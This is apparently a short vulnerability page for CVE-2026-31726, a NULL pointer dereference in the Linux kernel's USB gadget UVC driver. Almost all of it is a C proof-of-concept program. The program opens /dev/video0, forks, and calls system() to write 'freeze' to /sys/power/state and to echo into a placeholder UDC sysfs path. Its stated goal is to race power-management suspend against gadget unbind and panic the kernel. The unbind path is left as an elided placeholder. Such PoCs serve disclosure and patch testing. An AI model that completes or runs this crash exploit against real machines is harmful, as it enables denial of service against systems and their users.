CVE-2026-31726 Linux内核USB Gadget UVC空指针解引用漏洞

/* * Conceptual PoC for CVE-2026-31726 * Trigger race condition between PM suspend and USB gadget unbind. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/wait.h> #define UVC_DEVICE "/dev/video0" void trigger_unbind() { // Simulate unbind operation which sets cdev->gadget = NULL // Requires specific configfs or module unload permissions system("echo 'udc' > /sys/class/udc/.../function"); } void trigger_pm_freeze() { // Trigger system freeze to interrupt wait_event system("echo freeze > /sys/power/state"); } int main() { pid_t pid; int fd = open(UVC_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open UVC device"); return 1; } printf("Starting PoC for CVE-2026-31726\n"); pid = fork(); if (pid == 0) { // Child process: Trigger PM freeze sleep(1); trigger_pm_freeze(); exit(0); } else { // Parent process: Trigger unbind during freeze sleep(2); // Wait for freeze to start trigger_unbind(); wait(NULL); // Upon resume, the kernel attempts to release the device // accessing the NULL pointer -> Kernel Panic close(fd); } return 0; }